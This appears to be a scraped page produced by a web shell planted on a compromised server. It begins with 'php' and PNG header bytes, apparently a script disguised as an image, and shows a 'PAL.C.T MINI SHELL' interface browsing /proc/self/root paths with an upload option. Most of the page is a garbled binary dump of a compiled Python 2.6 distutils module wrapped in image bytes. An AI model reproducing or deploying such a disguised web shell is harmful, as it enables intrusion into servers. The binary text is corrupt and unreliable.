php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/distutils/
upload
files >> //proc/self/root/usr/lib/python2.6/distutils/mwerkscompiler.pyo

Lc@sdZdZddkZddkZddkZddkTddklZlZl	Z	l
Z
lZddkl
Z
lZlZddkZddkZddklZde
fd	YZdS(
sdistutils.mwerkscompiler

Contains MWerksCompiler, an implementation of the abstract CCompiler class
for MetroWerks CodeWarrior on the Macintosh. Needs work to support CW on
Windows.s@$Id: mwerkscompiler.py 55881 2007-06-11 05:28:45Z neal.norwitz $iN(t*(tDistutilsExecErrortDistutilsPlatformErrortCompileErrortLibErrort	LinkError(t	CCompilertgen_preprocess_optionstgen_lib_options(tlogtMWerksCompilercBseZdZdZhZdgZdddgZdgZdZeeeZ	dZ
d	Zd
ZdZ
dZZd
ZddddZddddddddZddddddddddd
ZdZdZdZdZddZRS(syConcrete class that implements an interface to MetroWerks CodeWarrior,
       as defined by the CCompiler abstract class.tmwerkss.cs.ccs.cpps.cxxs.rs.exps.rsrcs.objs.libs.slbs%s%sticCsti||||dS(N(Rt__init__(tselftverbosetdry_runtforce((s./usr/lib/python2.6/distutils/mwerkscompiler.pyR
5sc		Cs=|i|||\}}}||_||_||_gS(N(t_fix_compile_argst_MWerksCompiler__sourcest_MWerksCompiler__macrost_MWerksCompiler__include_dirs(	Rtsourcest
output_dirtmacrostinclude_dirstdebugt
extra_preargstextra_postargstdepends((s./usr/lib/python2.6/distutils/mwerkscompiler.pytcompile=s

			c&Cs:|i||\}}|i|||\}}}||i|ifjo
tdn|o
tdn|
p|o
tdnt|djo
tdnt|i|i}t|i|i	}|ot|i|}ng}|o|i|}n
t
i}|ot
ii
||}n|i|}t
ii|\}}|ddjo|d }n6|ddjo|d }nt
ii|d	}|d
}|}|d}|d}d
|}tii|d|itii|d|ih}||d<||d<||d<||d<ti|d<d|d<g}g}xU||D]I}t
ii|\}}|i|||jo|i|ququW||d<||d<||||d<|io@dGt
iGHx)|iD]\}}d||fGHqWdSt
ii
||}tid|t|d}|id|d	|i|iot
ii
t
it
ii
||}t|d}|idxP|iD]E\} }|djo|id| q|id | |fqW|i||d!<nt
ii
t
it
ii
||}!tid"|!d#dk }"|"i!i"|}#|#i#|d$}$t|!d}|i|$|it
ii
t
it
ii
||}%tid%|%|"i$|!|%tid&|"i%|%dS('Ns@Can only make SHARED_LIBRARY or SHARED_OBJECT targets on the Macs(Runtime library dirs not implemented yetisNeed exactly one export symbolis.ppc.slbis.carbon.slbis.mcps.xmls.mcp.expsmwerks_%s_config.hRtmac_exportnamet
mac_outputdirtmac_dllnametmac_targetnamet	sysprefixtAbsolutetmac_sysprefixtypeRt	librariestextrasearchdirssCALLING LINKER INs
%20.20s %ss	Create export file %stws%s
s$#include "mwerks_shcarbon_config.h"
s#define %s
s#define %s %s
t
prefixnames	Create XML file %sittmp_projectxmldatas	Create project file %ss	Build project(&t_fix_object_argst
_fix_lib_argstSHARED_LIBRARYt
SHARED_OBJECTRtlentmapt_filename_to_absRRtostcurdirtpathtjointsplittstript	distutilstdir_utiltmkpathRtsystprefixtappendtgetcwdtitemsR	RtopentwritetcloseRtNonetmkcwprojecttcwxmlgentProjectBuildertgeneratetmakeprojecttbuildproject(&Rttarget_desctobjectstoutput_filenameRR&tlibrary_dirstruntime_library_dirstexport_symbolsRRRt
build_tempttarget_langRRtbasenametprojectnamet
targetnametxmlnamet
exportnameR)tsettingstsourcefilenamestsourcefiledirstfilenametdirnametkeytvaluetexportfilenametfptprefixfilenametnametxmlfilenameRDt
xmlbuildertxmldatatprojectfilename((s./usr/lib/python2.6/distutils/mwerkscompiler.pytlinkNs





















*



*



*
cCstii|}tii|p%ti}tii||}nti	|d}x<t
dt|D]%}||djod||<qrqrWti|dS(Nt:is..R(R8tutiltconvert_pathR2R4tisabsR>R5tstringR6trangeR/(RRZR3t
componentsti((s./usr/lib/python2.6/distutils/mwerkscompiler.pyR1scCsdS(skReturn the compiler option to add 'dir' to the list of
        directories searched for libraries.
        N((Rtdir((s./usr/lib/python2.6/distutils/mwerkscompiler.pytlibrary_dir_optionscCsdS(ssReturn the compiler option to add 'dir' to the list of
        directories searched for runtime libraries.
        N((RRo((s./usr/lib/python2.6/distutils/mwerkscompiler.pytruntime_library_dir_optionscCsdS(sReturn the compiler option to add 'dir' to the list of libraries
        linked into the shared library or executable.
        N((Rtlib((s./usr/lib/python2.6/distutils/mwerkscompiler.pytlibrary_optionscCsdS(sHSearch the specified list of directories for a static or shared
        library file 'lib' and return the full path to that file.  If
        'debug' true, look for a debugging version (if that makes sense on
        the current platform).  Return None if 'lib' wasn't found in any of
        the specified directories.
        i((RtdirsRrR((s./usr/lib/python2.6/distutils/mwerkscompiler.pytfind_library_filesN(t__name__t
__module__t__doc__t
compiler_typetexecutablest
_c_extensionst_cpp_extensionst_rc_extensionst_exp_extensiontsrc_extensionst
res_extensiont
obj_extensiontstatic_lib_extensiontshared_lib_extensiontstatic_lib_formattshared_lib_formatt
exe_extensionR
RCRRfR1RpRqRsRu(((s./usr/lib/python2.6/distutils/mwerkscompiler.pyR
sP		

r				(Rxt__revision__R;R2Rkttypestdistutils.errorsRRRRRtdistutils.ccompilerRRRtdistutils.utilR8tdistutils.dir_utilR	R
(((s./usr/lib/python2.6/distutils/mwerkscompiler.pyt<module>s$
(
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`